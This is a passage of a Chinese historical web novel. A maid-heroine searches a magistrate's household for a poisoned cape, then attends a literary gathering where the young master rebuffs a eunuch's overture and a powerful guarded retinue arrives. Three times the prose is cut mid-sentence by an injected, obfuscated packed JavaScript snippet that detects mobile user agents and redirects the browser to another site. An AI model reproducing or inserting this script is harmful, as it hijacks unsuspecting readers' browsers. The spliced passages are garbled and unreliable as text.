默。他自然是希望鹿啄能主动跟他说说去办了什么事，都发生了什么，对他的二哥怎么看。 但鹿啄什么都没说。 恪守着“食不言”的君子治家之道，高克正最终安静地用完了饭，原棠把鹿啄要去厨房的事跟他说，他一刻也没犹豫就应了，还 叫原棠也要多结交些知己密友，女孩子们长时间在内宅生活，本就比男子少了很多乐趣，若无好友相伴，岂不是了无生趣。 原棠向高克正投去一种类似“我儿贴心”的目光，鹿啄不便打搅母子情深，自觉出了拱辰轩。 ----------------- 厨房。 小钗没想到鹿啄这么快就得空见她，小跑着上来恭喜： “我听说你去三少爷院里了！真好真好，这下不用做那些粗活了。” 鹿啄指了指她怀里捧着的碟子： “当心跌了。” 这一提醒，小钗回过神来，叫鹿啄等她，自己送了碟子复返，对鹿啄道： “要不要去我院里？大小姐好像消气了，昨天晚上回来特意赏我到大丫头们的下房住，我有自己的屋了。” 她脸上的巴掌印虽消肿，但还能看见细细的划痕。 高雅英事后觉得自己做得过火是决计没有的，多半为了小钗在太太姨娘们面前给她长了脸，立了端方得体的榜样，才好心赏她， 以巩固自己的威信。 鹿啄点点头，由小钗拉着她，听她道： “我知道你会砍柴，但你胳膊怎么这么结实？说强健吧，脸色又不好，你昨晚睡得如何？可是因为郑婆子她们歇得不安稳？” 绝境中的依靠是会让人在短时间内生出逾越常态的亲近，尤其高雅英的三个大丫头在外各个不苟言笑，小钗有心跟她们闲聊，却 担心自己哪句话说的不对，有时候没控制住，按本心说了，事后还要后悔好一阵，远不如跟鹿啄相处来得自在。 鹿啄答她：“没有” 不是没有不安稳，而是没有睡。 时不我待是一方面，另一方面，她不敢睡，怕梦到逐娘和姐姐们的脸，让她时时想起自己无能。 不愿在睡觉这个话题上过多纠缠，鹿啄把枕顶拿出来递给小钗，后者接了，立刻道： “咦？这个也是你姐姐绣的吧？” 鹿啄点头：“嗯，帮我缝在枕头上，行吗？” “这有什么不行的！”小钗收了枕顶，搂着鹿啄的胳膊越过二门，往高雅英所住的琤然居走，“给我两日吧，你后日来取？” 再晚些都使得，最好是鹿啄能日日过来查看才好。 她缺一个在内院走动的理由，拱辰轩里虽然信息往来方便，也再没有郑婆子一类的人能轻易碍事，但不比扫地往来自在，消失一 时半刻总会让人察觉，这点不好。 换到高雅英的琤然居或高汐英的住处是最好的，她们是殷碧的女儿，近水楼台，但也太容易被殷碧直接“关照”到。 想着，两人一路走到了琤然居的院门口，这里不与其他小姐的院落比邻，独自占据着内宅东南角一片清静之地。高墙环绕，门扉 常闭，将府内的喧嚣与烟火气隔绝在外。 踏入院门，可见院内无一株繁花，无一棵杂树。 地面以俨如一体的青石板铺就，缝隙严密得连其下野草都探不出身来。两侧抄手游廊的廊柱下，整齐列着名品兰草，绿云叠翠，却无一朵花，入眼所见，只有秩序井然。 院子里有几个丫头，见到小钗和鹿啄进来，也并没招呼，做着手里的事，甚至连她们进了下房，至尾都未过问半句。 琤然居下房的位置比拱辰轩差些，是一间临街的倒座房，外间大概能容纳五六人，多塞一个也嫌满，两人迈进去，就见花络正坐在靠墙的方凳上，低头不知理着什么。 小钗上前，浅行万福，道： “问花络姐姐安好。”她有些扭捏，纵然花络没抬头，仍继续道，“我不知花络姐姐在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030558|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里，搅扰姐姐清净了。这是三少爷院里的 阿啄，我原想着带她来描个花样子说说话。我们这就去别处，不敢扰了姐姐。” 花络仍然没抬头，答： “不必，你们就在这儿玩吧，姑娘屋里这会儿没事，我理个线。” 虽说如此，可该怎么玩儿呢？小钗不由得绞紧了鹿啄的手指。 有她在确实不好说话，鹿啄拉住小钗想往外走，谁知一回头，正撞上银钿奔里面进，外间一下子满满当当。 小钗又匆匆忙忙给银钿问安，后者也没看她，对花络道： “今儿这衣服是补得上还是补不上了？姑娘问呢。” “怎么补？线我还没理出头绪。” 花络自暴自弃地一垂手，露出手里乱作一团的丝线，她语气里有几分刻意矫饰过的委屈： “姑娘非得穿这件不可？就不能再劝劝？” 银钿也是长叹一口气，走到花络旁边空着的方凳上坐下，道： “如何没劝？玉珰嘴皮子都要磨烂了，可这又不是姑娘硬要穿，太太这么吩咐的，姑娘又能怎么样？” 太太两个字一出，鹿啄的脚步顿住了，她悄悄引小钗到角落，示意小钗去接花络手里的线。 纵使鹿啄不说，小钗也知道自己若想在屋里立足，这时候该上去帮忙，可她总怕自己说错话做错事，现下有人肯定她，她暂且安 心了一些，深吸一口气，缓步上前道： “花络姐姐，银钿姐姐，这线缠得厉害，硬解只怕伤了姐姐们的眼睛。我原是绣娘出身，专会对付这些死结。姐姐若信得过，交 给我便是，定不误了姑娘的吩咐。” 闻言，银钿回头看小钗一眼，回头时正与花络目光相接，两人一笑，银钿道： “我倒忘了你原是绣娘，十来股的丝线也绣得，那你就露这个脸吧。” 说罢，花络也没异议，把丝线举起来，小钗自然去接。 小钗这边理线，花络和银钿也没走，看了一会儿，突然问鹿啄： “你是昨天新拨到三少爷院儿里的？怎么这么清闲，三少爷没让你们预备明日雅集的事？” 鹿啄心中对上了高克行所说的明天要去个地方，应该就是去“雅集”，但雅集是什么？她这么想，就这么问了： “雅集是什么。” 花络、银钿俱是一愣，半晌后齐齐笑起来，银钿道： “我真忙晕了，她原是个绣娘，你原是个扫地的，我跟你们说得着什么雅集，你就当是出去玩儿好了，三少爷没让你们准备？” 花络拦她： “三少爷和大少爷一贯不爱去的，你倒问错了人，该问二少爷房里的清影。” 清影是素馨到延晖阁上值前就在高克行院子里的丫鬟，时常在陆从漪院里和延晖阁之间走动，今日她也去了陆从漪院里。 “再不爱去明日也要去的吧？” 银钿好像很疲惫，靠在花络肩头，看着小钗理线，兀自说： “那么大的阵仗，同知家的，通判家的，这还是不入流的外任官，上头又有承宣布政使家的，还有咱们表少爷，严家少爷，在京 城的风光也就这样了。” 花络拍拍她的脸： “胡说什么，你一个丫头凭的什么说人家不入流，小心姑娘听去。” “左不过你抽我两嘴巴好了，我反正受够了，姑娘要么不出门，只要出门，就把人往死里磋磨，穿的用的，都要是最出挑，最与 人不同，也不知太太在这上头争什么，贴得是谁的脸面。” 说着，银钿猛地坐起来： “这还只是在小姐们里头露露脸，将来真要出嫁，得是什么阵仗？我看，要把凤凰的眼珠子抠下来给姑娘镶冠才够数。” 凤凰的眼珠子。 殷碧大概是没有的。 但一件有毒的霞帔，尽可以满足她要的风光。 鹿啄知道该去什么地方找霞帔了。 29. 权宦 入夜又下了一场雨，雨水沿着重檐歇山的瓦当汇流而下，密织出一片珠帘，颗颗砸落在地上，撞碎悉心粉饰的安宁与静谧。 小钗要留鹿啄在她的小炕上挤一挤，但鹿啄先应了原棠下钥前要回去，故而始终推拒，最终只借了一把伞，独自撑回拱辰轩。 是夜，鹿啄辗转于噩梦之间，几番惊醒，伸手去寻鹿苓，但只有落空。此后，睁眼到天明。 高克行又是在早食期间来的，带着书童，精心装扮，他也不与任何人客套，自己捡了个座儿，剥着鸡蛋对高克正道： “我要赴雅集，你把阿啄借我，回来还你。” 前半句话高克正听得耳朵都要起茧，便没什么反应，顿首算是他已知晓，可后半句话出口，高克正手中筷子却是一抖，他抬头 问： “清影、素馨两位姐姐，都病了？” 不病没道理借他的丫鬟。 “没病，容光焕发，比你还精神十倍。”高克行放下鸡蛋，“你不去雅集，就不叫你的丫头见世面？她都笨成什么样儿了？” 说话间高克行抬手点指鹿啄，后者无动于衷。 “原棠是从家里带来的，哪样的人也见过，但这个实在什么都不懂，你不信可以问问她，知道雅集是什么吗？” 不必问，一定不知道。 高克正心知是这个道理，阿啄曾经只是一个外院扫地的，别说雅集，就连丫鬟们私下设宴吃酒她都尚不在受邀之列，以后回了京 城，难免要有这样的场面，他自己还不能周全自己，又怎么顾得上阿啄在雅集中的交际，可别叫她漏了怯，要伤心上好一阵子。 “那我带阿啄去吧。” 毕竟他跟大哥二哥都是不同的，他会努力照顾阿啄，其余两个不会。 高克行面色不动，又把鸡蛋拾起来，垂眸剥着，头也不抬，自如道： “好啊，那敢问这位公子，今日雅集，群贤毕至，听闻不仅有丹青妙手献上新作，更设有流觞曲水之戏。但不知贤弟腹中锦绣， 可曾备下几许？今日又是否诗兴勃发，也能叫愚兄一饱耳福啊？” 高克正的脸由白转红，逐渐滴出血色。 有人不爱去雅集，是因为疲于应付；有人不爱去雅集，单纯是怕丢脸。刚刚还在想鹿啄漏不漏怯的高克正立时反应过来自己的怯 也不小，只得给哥哥作揖道： “二哥何必笑话我，你带阿啄去见世面也是为了我，我无有不依的。” 高克行微笑，把鸡蛋往桌子上一拍，对着鹿啄伸手： “行，走了。” 虽说是答应了二哥，但高克正隐隐有些不放心，眼睛追着鹿啄，见原棠小声跟她交待完，递上帷帽，自己又在她经过时轻声道： “去了要多听二哥的话，但也不必太纵他，他要使唤你使唤得厉害，自己要知道躲，明白吗？” 鹿啄点了点头，犹豫一瞬，把高克行剥好的鸡蛋塞到高克正碟子里，转身追高克行而去。 等回来之后，她有心教高克正射柳，如若一日大厦倾倒，高克正再不能投靠殷碧，她又离开高府，这是高克正保下家中生母幼 妹，以及全然纯善的原棠一干人唯一的办法。鹿啄不想在啜狗山之外，又多一重梦魇。 从拱辰轩到府门，高克行罕见的一言不发，他走在前头，鹿啄和书童并排在后头，出了府，就见府门前停着两匹马，一红一黑， 并辔而立。 书童不明就里，上前伺候高克行上马，托着他的手问： “今日大爷也去？” 高克行摆开他的手，利落上马，答： “他去就坐车了，你爷我钱多烧得慌，专给爷们儿买马？不让他给我买就不错了。” 书童听出言下之意，不可思议地回头望了望鹿啄，这一回头，却看到了更令他惊骇的一幕。 只见鹿啄并未走向黑马的马镫一侧，她甚至没有用目光去寻那马镫的位置，行至马匹身旁，她一手搭鞍，右脚点地，脚踝向内侧 一旋，左脚借力腾空而起，人瞬间落在马背上，只在瞬息之间，没有一丝响动，甚至连马都没有移动分毫。 此处的马夫、小厮，连着那个书童，都曾见过少爷和老爷们上马，其中不乏连滚带爬，乱攀乱踩之辈，也有行伍出身，利落潇洒 的。 但像这一位，若不是那黑马在感知到身上有人后移动了寸许，都不能让人察觉出之前有个人站在地上的，他从未见过。 惊骇之余，书童去看自家少爷，没想到后者全然没有一点惊讶，笑着牵了牵缰绳。 高府门楣渐渐远去。 高克行的排场不大，与他精心打扮后越发隆重的俊美相比，并不相衬，只一个书童在两匹马中间夹着，一会儿看左，一会儿看右。 “你真不知道雅集是干什么的？” 枣红骏马上的少爷看着黑马上戴帷帽女子，声音不高也不低。 鹿啄摇头，并试图阻止高克行告诉她。 “不用知道。” 这话高克行料到了。一个身手矫健的野人的确不用知道雅集是干什么的，他笑着目视前方，换了个话题： “那你知道雅集上都有什么人？” 鹿啄学着他早上的语气： “群贤毕至。” 高克行大笑，想纵马到她身边更近的地方，但书童险些让马肚子夹着脑袋。 因为不长眼，书童被赶到高克行马身右侧去了，马上的对话依旧，高克行道： “我若说给你听，你想不想知道？” 这是个有意义的问题。 鹿啄想知道。 在高府还要待多久尚且不知，何况鹿霄来信说京中凶险，目前看所谓凶险倒不一定是什么不出世的武林高手，更像是权势滔天， 将人活活压死的权贵，像对待鹿苓一样，利用人的本性，拿人命做嫁衣，无声无息地把她们这样的人剥皮吮血，连单打独斗的机 会都不给。 对付这样的人，只有知道他们的本性，以彼之道，还之彼身。 而更像他们，也就更不容易被他们察觉、防范。 至于那些规矩和规则，鹿啄也可以选择知道，但不做。 学一学没有坏处，多学是不会错的，姐姐们的皮毛功夫都能派的上用场，旁的自然也要学。 思及此处，鹿啄答高克行： “想知道。” 求知是这世上最好的欲丨望，只是高克行不是从天上撒大饼的神仙。 “你武功跟谁学的？” 答案换答案，这是一开始就定下的游戏规则，鹿啄也知道，她也没指望高克行这一个个看似贴心的提问是在怜贫恤下，故而她痛 快答道： “姐姐。” “姐姐？像你这样的人还有一个？” 这是追加问题，鹿啄不答，反问： “枕顶哪儿来的？” 比起学习达官显宦的知识，当然鹿苓要排在前头，所以她换了问题。高克行也没翻脸，答得痛快： “素馨那儿来的。” 素馨跟鹿啄同一天进府，没可能突然得到殷碧的垂青，或是发了疯病去内宅里偷，一定还有别的内情，鹿啄只得先回答高克行上 一个问题： “六个，我有六个姐姐。” 答完，她又接上一个问题： “素馨哪儿来的？” 高克行似乎早想好了答案：“高克己那儿来的。” 他又接上一个问题： “那她们人呢？在什么地方等你？等你把我们家里的事办完了，就接你出去？” “死了。” 鹿啄急于问下一个问题，几乎是随口应到。 姐姐们不在了，这件事在鹿苓死在她身边后的那三天里，她每每入睡醒来，都会忘记，可现在她已牢牢记住，不会再有波澜了。 她转而想问高克己是谁，回头时却见高克行脸上的笑意一下子全部散去，那表情说不清楚，不似怜悯，也不似毫不在意，他只是 定定地望着她。 良久，不等她提问，高克行自己就答： “高克己是大房的长子，母亲姓曾，曾氏一共有一子一女，她出身寒门，最爱巴结我嫡母，两人私交甚密，高克己常随左右。” 这一下答了好多个问题，鹿啄几乎不用再问了，风轻轻拂过帷帽，帷帽掀起一角，两人目光相对的瞬间，高克行丝毫不避，问： “是高家人害死她们吗？” 他说话的声音不算低，书童听见吓了一跳，也跟着紧张地看鹿啄，正待鹿啄要答，突然见后头上来一个小厮装扮的人，在马身侧 约五步的地方停住，先行礼，又高声道： “前头是不是高御史府上的二少爷！给您请安！” 声音洪亮，长街上的人纷纷侧目，书童还在期待鹿啄的回答，叫他打断，情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030559|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪骤然跌落，恨得回头瞪那小厮一眼，再看少爷，也 是前所未见的不悦，正转头看着那小厮。 小厮浑然不觉，自顾自道： “奴婢是在山东衡王府上当差的人，奉的是王府掌事孙公公的钧旨。孙公公时常教诲我等，说都察院高总宪家风清正，学问渊 博，就连我等伺候王府的低贱婢子，都仰慕得紧。” 他自称奴婢，高克行一愣，细看之下才发现此人的确俊俏异常，面白无须，穿着打扮隐隐透着富贵，而且他称呼高彦韬为总宪， 这是对左都御史的尊称，只有太监们才会为了巴结，佯装无知的僭越。 只听那小太监继续道： “今日恰巧得知二爷您也赴此雅集，孙公公门下一位得力的伴当正好随行在侧，听闻此事，心中仰慕，恐损少爷清誉，不敢贸然 打扰，故特命奴婢前来，奉上名帖一份。” 高彦韬是风宪官，清流代表，宗室家养宦官又与内廷权宦们缠杂不堪，这帖子放在旁人身上是不敢轻易接的，但不接，就是得罪。 开罪权宦的下场，又岂是全家人头落地这么简单。 高克行曾听过东厂理刑官的手段，饶是他并不爱体贴男人，乍闻之下，也觉得全身隐隐作痛。 高家为在朝中立足，只姻亲一事就苦心钻营多年，手握威节侯和右都御史两门上亲，可东厂想把高家连根拔起，只需要一张，藩 王府上的帖子。 清流不耻权宦，不与藩府交通。 既是理念不合，本心不同，也是有不能宣之于口的惧怕。 怕一句话就要人性命的处境。 皇帝近臣，天子家奴，就是有这样的权力。 随便一位镇抚司的小旗，或是东厂随便哪个权珰，在陛下面前说一句，怀疑高家结交藩王，图谋不轨，就能掏空高家九族每个人 的五脏六腑，再填满了草当靶子玩儿。 可能被他们当街瞧上发生在月前，月中就是满门抄斩。 高克行敛起的笑意缓慢地又浮了上来，他大半个身子压在马上，似乎是极力凑近那位传话的内臣： “中贵人多礼了。您见过我？” 小太监见他一下没要接帖子，心中也料到如此，嘴上道： “二少爷风流倜傥，声名远播，又属人中龙凤，奴婢在青州早有耳闻，今日一见贵人真容，想着兹要是眼珠子不是拿来出气的， 都能认得出。” “中贵人何必跟我说这些台面上的话，” 高克行笑得越发明艳，比那俊俏的小太监还酷似奸佞： “我素来听说你们那样的人都是直爽性子，有什么就说什么，今日我也是当着明人不说暗话，什么名声清誉，风流倜傥，其实不 都是银子堆出来的么？” 闻言小太监心下一惊，暗道要遭。 他们跟清流的消息渠道不连通，只能打听到高克行平素浪荡，不守规矩。 清流里不乏这样的人，喜欢显示自己不惧物议，不流俗，不受世俗约束，自在随性，这样的人通常好说话，只以事实评判他们， 并不会一味的羞辱。 他们还以为高克行分属此类，是个口子，能撕进去一条路，没想到这人却好似是口烂了的臭井，脏得没底儿。 没底儿的臭井展现自己的贪得无厌。 “我近日看上一幅沈周的画，还差三百两银子，我姨娘的嫁妆箱子掏了个遍，也没能如愿，若是孙公公肯成全晚生这点雅好，休 说一封帖子，就是肝脑涂地，我也只有与公公勠力同心的。” 小太监瞠目结舌，好半天才缓过来，不动声色地将名帖往袖内掖了掖，道： “二少爷真会说笑。” 他笑得仿佛那笑容是娘胎里生出来的一样。 “奴婢人微言轻，只管传话递物，这金银往来之事，是万万不敢沾手的。主子吩咐的差事，就是将衡王府的意思带到高府门前， 奴婢已经办到。” 门前一句，意指他与他的主子，并不会登堂入室了。 “二少爷的雅好，奴婢也记下了，若有机会，一定向孙公公转达二少爷的一番高论。” 他又行了个礼。不愧是王府调教的人，行礼时恭谨又好看，只听他最后道： “如此，奴婢就先行告退，不扰二少爷的兴了。” 说到兴这个字，他意味深长地看了鹿啄一眼。 30. 雅集·美人筹 所去高克行与鹿啄驾乘数十步的位置，停了一顶软轿。 随轿的看小太监远远跑回来，熟稔地示意轿夫抬轿启程，那小太监两步进入随轿队列，紧贴着轿板，对里头道： “爷爷，帖子没送出去。” 里头传来一个声音，语气没什么波澜： “他不识相？” 这话小太监不知如何答，只能照实说了，他道： “咱们在青州的暗桩查得不错，他是个风流成性，不谙规矩的，只是此人浅薄，奴婢要给他递贴，他竟说什么得要孙公公全了他的心愿，替他找三百两银子买沈周的一幅画，他才收帖，这三百两银子倒不妨事，只是但凡是个要脸的，不会在大街上问人要 钱。爷爷跟这样的人结交，折了爷爷的脸，司礼监的祖宗们怕也要不高兴。” 轿子里面一时没动静，片刻后，传来了一声书页翻动的脆响，那小太监乖觉地继续道： “依婢子看，这是个纨绔，凭着家里的官荫才去的国子监，别人瞧不上他，只跟他酒肉，他还真当自己有脸，今日敢为一幅画就 当街索贿，卖了家里，日后难保就不会为了别的卖了咱。” 这回轿子里的人很快给了话： “你怎知他不是装的？人家瞧不上你，宁可装疯卖傻，也不接你的帖子。” 岂止是看不上一个太监，多半是所有这样半人半鬼的，都瞧不上。可轿子里的，偏偏不是阉人，名为孙公公公伴当，却是实在哪 样部位都不缺的常人。所以话里话外，他只把小太监兜进去了。 那小太监一仰头，从鼻子里嗤出口气来，道： “他瞧不上我，我还瞧不上他。爷爷有所不知，这些自诩清流若只为了跟咱们周旋，多半是不会真损了自己名声的，可方才我一 去，就看他与一女子并辔而驾，那女子所着不是华服，身量瘦弱，不是个金贵的。他养着这样的女人，也不避人，带到大街上来 现，授人以柄，他有什么清誉？还是色令智昏的蠢货罢了，咱们上赶着，什么都得不着不说，再带累了人。” 轿子里又没了动静，只是每隔一段时间，就传来翻书的声音。小太监知道这是此事不必再提的意思，默默垂首，跟着随轿的众人 继续朝吴同知府上走。 ----------------- 高克行还记得，他是八岁时对父亲说，要到国子监读书的。 荫补一子入监，是三品官高彦韬所受的皇恩，听起来轻松便宜，但荫补者实是走了后门，常叫人看不起。 彼时高彦韬升任都察院要职不久，他资历太浅，升迁又太快，从他钻营儿女婚事便可看出，此人并不如面子上那般纯然刚正，而 当他置身庙堂恐怖的官员斡旋之中时，他仍要分心为俸禄供养不起的那一大家子攫利。 对清流，他要纳投名状；对阉宦，他要拒而自保；对皇室，他要示弱服软；对天下人，他要人看不出自己是如何富贵起来，却又 同时忠直廉洁，家风清正。 归根究底，他需要一个不大不小的把柄，一个能轻易拿捏，又要不了他命的污点。 这个污点会在明面上与他离心离德，屡遭痛斥，背地里却打点一切，撑着高家的富贵。 为使高家门楣始终高不可攀，而他自己又问心无愧，高彦韬给这个“污点”量身算计了人生。此人将凭借高家的官荫进入国子 监，不需有什么实质的功名，只等时机到了，再以陆家的官荫，无忧无虑地安享一个六品闲职，一生平安。 代价是，他的仕途将彻底止步于一个六品微末之流，永无入阁之望。更不用谈报复和理想。 因为这个已制定好的人生，此人会变成一枚弃子，至于弃子的人选，高彦韬心中有三个。 没错，他要在三个儿子之中舍出一个儿子。 大儿子天纵奇才，他舍不得，高家前途全在他身上。二儿子也敏慧，又心思细，是个点探花的料子，他也有些不舍。但那三儿 子……陆家绝没有为杨怀薇的儿子让官荫的道理。 就在高彦韬犹疑难决之际，八岁的高克行走进了书房，主动跪求父亲，荫自己入监。 打那以后，这弃子的人选定了。 高克行从那一天起，将永远生活在高家光耀投下的阴影里，始终，至死，都是高家不成器的二儿子，是高彦韬唯一的污点，是叫 皇家拿捏他的一个软肋，叫宦官们退避三舍的一面盾，是装脏污的一只桶。 从此，他得到什么都很轻易，失去什么也很轻易。 同知府正门，高、鹿二人下马。 本朝雅集男女不同席，也不从同一门入内，无论男客女客，都按身份有抵达的时间，身份越贵重，就越要迟，按高克行对今天雅 集的判断，他应该在倒数第三个入场，仅早于威节侯府的殷封、山东承宣布政使家的万梓阙。 府门前停放了多辆车架和官轿，也有小厮牵引马匹到府上马厩，车水马龙好不热闹。四下没人上来与高克行攀谈，他便一壁盯着长街方向的动静，一壁招呼鹿啄： “把帷帽摘了。” 在街上让她戴着，就是要她显眼，就是要借她坐实自己私德不修，反正没人知道她是谁，只会议论高克行一人。但入了雅集，再 叫她显眼，可是害她。把帷帽摘了，只以丫鬟的身份在旁侍立，没人会妒忌她什么，也不会传她的丑闻。 闻言，鹿啄利落地把帷帽摘了，书童替她接过，挂在马鞍上，又让吴家下人把马牵走。 她今日的目的只有配合高克行，从而直接地得知更多讯息，只要是不诓骗、不为难，不让她受伤的要求，她都会同意。 且名声受损在鹿啄这里不算受伤，无所屌谓。 高克行原想再等等殷封，但又思及殷封可能为了相看姐姐妹妹，也许会早，便叫书童和鹿啄跟着他入府，可三人刚刚挪步，就听 身后传来一阵喧哗。 一顶四人抬的素面蓝呢大轿从长街方向稳稳行来。雅集多文人，为显示清廉低调，少爷小姐们出行都不会过多携从，但这顶轿子 与众不同，不说其用料和做工之精细，只说围在轿子周遭的人，就有十人之多。 鹿啄面色微沉，上前一步，问高克行： “什么人。” 高克行没料到她居然会对这样的事有兴趣，讶异之后，笑着答： “过路的地主老财吧，怕咱们看不见人家有钱，想晃瞎咱们。” “不是，”鹿啄又凑近了一点，压低了声音，“看脚。” 她突如其来的挂怀让高克行不由得照做，仔细去看那些人的脚，但并没看出什么蹊跷。鹿啄又在他耳边道： “听。” 听什么？这帮人吵吵嚷嚷，各说各的，时不时就莫名大笑，好似一定要让人注目似的。但毕竟鹿啄不是轻易会在乎这些事的人， 高克行依她所言细细听了，顷刻，他发觉不对。 怎么没有脚步声？ 这十个人明明结结实实踏在地上，但脚步声微弱，几近于无，若不是他有意去听，根本察觉不到。在他认识的所有人中，只有一个人行路时有这样的特点，此人现在就在他的身边，方才还特意叫他去注意。 那个走路没声儿的女子道： “都是练过的。” 谁出门会带着护院？况且寻常护院，有这样的功夫吗？ 高克行已经知道是怎么回事了，他一手拉鹿啄，一手拉书童，为那即将到来的轿子让出一个位置，同时吴家迎客的小厮们也乱作 一团，七手八脚地奔上前去，有一个直接趴伏在地，要给坐轿之人垫脚。 “我们从中门进。” 轿帘让一个人掀开，才刚刚露了个缝，高克行就对二人说道。 语毕，他立即转身奔中门而去。书童和鹿啄坠在后头跟着，起先没人发问，就要看到中门的石阶时，书童忍不住了，他道： “二爷，来的是什么人啊？咱们为啥要避？” 同知府的中门开着，不算十分有头脸的客人会走这个门，只有两个小厮把守，而且都是一脸困顿，百无聊赖。高克行见没人刻意 来迎，才答他： “今天进了太监窝了。” “啊？”书童瞠目结舌，“又是太监？” 在京时，大型饮宴或雅集有太监是常事，没人敢扫他们的面子，纵然心里看不起，面上也要装着相安无事，动静但凡大一点，必 要给太监窝里去拜帖，可青州是小地方，雅集多是公子哥们自发的私聚，便不一定要特意去请那些税监、盐监，宗室内监什么 的。 可今日居然一连撞上两个，还都是来头不小。 此地能携家养精锐到官员府上耀武扬威的只有一人，山东镇守太监，叶孤萍。 这里面怕是有事，书童有点怕了，问高克行： “那二爷咱们还去吗？要不我给递个条子辞了，就说家里突然叫回去。” 高克行睨他一眼，冷笑： “慌慌张张，又不是冲着你来的。大丈夫生不五鼎食死即五鼎烹，要么只求富贵要么死得惨烈，逃算什么？你的气量还不如太 监。” 书童不敢说话了，转头看了看鹿啄，那意思是让鹿啄帮他说话，毕竟鹿啄是一介女流，一点花拳绣腿只有给少爷陪葬的份。 但鹿啄一条腿已经迈进门槛里了，正回身等着他俩。 刚被说了气量不如太监，书童怕接下来自己的气量又要不如女子，只能一咬牙跟上少爷，三人仍维持来时的身位，进了同知府。 府内有小厮引路，因走的中门，来的又晚，一路上并没碰见什么人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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鹿啄的本职原就没做过几天，倒茶在她脑中只能与口渴相关，于是她也不在乎是谁的茶杯，哪个的茶叶，什么样的茶壶，随手抄 起来就给高克行斟了一杯，摆在高克行面前。 严昆冈眼角抽动两下，用手盖住了那茶杯，对高克行道： “这位姐姐今天是头一次伺候？这是吴公子的茶杯。” 吴公子是吴同知的嫡子，雅集的东道，此时正如陀螺般在几个权贵子弟间飞转，没注意到自己的茶杯让人鸠占鹊巢了。 “她不是伺候人的料，”高克行示意一个吴家的丫鬟取茶杯来，“昨儿刚拨到我三弟院里，没规矩，多包涵。” 照常理鹿啄此时应该躬身赔罪以示失礼，但她还是没动。等了半天不见下文，严昆冈没说什么，殷封倒是嘴快： “怎么不带个有体统些的，万家的来了，又要驳你面子。” 茶水已倒入新茶杯里，高克行举杯品茗，好整以暇道： “她就是我的面子，会伺候算什么长脸，她比这本事要大得多。” 严、殷二人知他秉性，都是苦笑，但见那吴家丫鬟侍了茶却没走，嗫嚅片刻，道： “诸位公子万福，奴婢搅扰公子们清谈了，但奉女席诸位小姐之命，有一事相禀。” 严昆冈笑道： “方才已经听说了，你稍候，这有个新来的，得跟他说明白。” 那婢女称“是”，严昆冈转而对高克行笑道： “她们那边要行酒筹玩儿，我妹妹想了个蠢法子，让咱们帮着作诗为令，制成竹筹，丫头们拿回去给小姐们猜，猜对了是谁作的 诗，谁就代猜中人饮罚酒，除了你和万梓阙，在场的都作了。” 高克行挑眉一笑，问殷封： “这该是你妹妹跟她合谋的吧？诗书上属她们俩最差。” 殷封捧茶，也笑： “柔儿还在京城，你怎么想的？她跟我两个人来多有不便，当然是跟着母亲来。” “恕我失察。”高克行转身对鹿啄一挥手，“伺候墨宝。” 女席所行筹令，是众女子们在装着一套酒筹的竹筒中按约定次序抽取筹签，抽中筹签后，大声念出签上所写的内容。签上惯常会 有一句诗词或典故，营造意境，另有一句酒令，由诗词典故引出在场该谁饮酒，如何饮酒的指令。 例如，筹签上写：相逢何必曾相识，令为：席上初见者共饮一杯。 抽中这道酒筹的小姐会大声读出上述内容，席上初见的小姐们会依令共饮，是为雅趣。 但今日同知府雅集上女席的小姐们有个新花样儿，要由男席的公子们亲作筹签和筹令，这就在原有的规则上又加了一道：抽签者 要猜签为何人所作，猜不出则与行令者同饮；猜出，则由作诗公子代饮。 研墨鹿啄是会的，有给鹿霄研墨的底子，也有后来原棠又教的。 她将饱蘸墨汁的笔递给高克行，吴家丫鬟递上竹签，片刻，筹令即成，高克行对鹿啄道： “你也跟着去玩吧，留心别让人猜中我的签，我不想喝。” 鹿啄求之不得，高雅英正在女席。 31. 雅集·众里寻他千百度 屏风之后，女席的场面摆在同知府一道自制【流杯亭】的左近。 这原是给男席【曲水流觞】所备，但高雅英日前给吴家小姐去信，特意要了这处设施供女席取乐，只是可惜她自己的亲妹并不给她这个在诗学上夸耀争荣的机会。 高汐英与高雅英同为殷氏所出，承了同一脉的相貌，也是宽额广颐，面若银盆，但她比高雅英多了一副杏眼，一张樱桃口，比之其姐主富贵的格调，更显娇俏可爱。 “我事事都是比不了姐姐的。”她略鼓着两腮，挽着严娅姹的腕子，“她想出风头，我做妹妹的，该赔着丢脸，可是严家姐姐怎么 办，没有让你跟我一起让着她的道理呀。” 严娅姹是严昆冈的二妹，严昆冈来相高家女，她自然是来看高家郎，但也替哥哥在女席上查探严家姐妹的品貌。作诗，并不是她的强项，也不是她查探的要务，所以她刚才已协同吴小姐起哄架秧，将【曲水流觞】改为了行筹令。 “你何必替你姐姐找台阶，”严娅姹拍了拍高汐英的手背，“就她会，咱们都平平，倒也不见得就显着她的好，只是无趣罢了。” 若论起兄妹肖似，严娅姹秉性更像殷封的亲妹，而殷封的亲妹殷柔，更像严昆冈的亲妹。 严娅姹说话并不背人，高雅英就在不远之外，把她的话全听了。 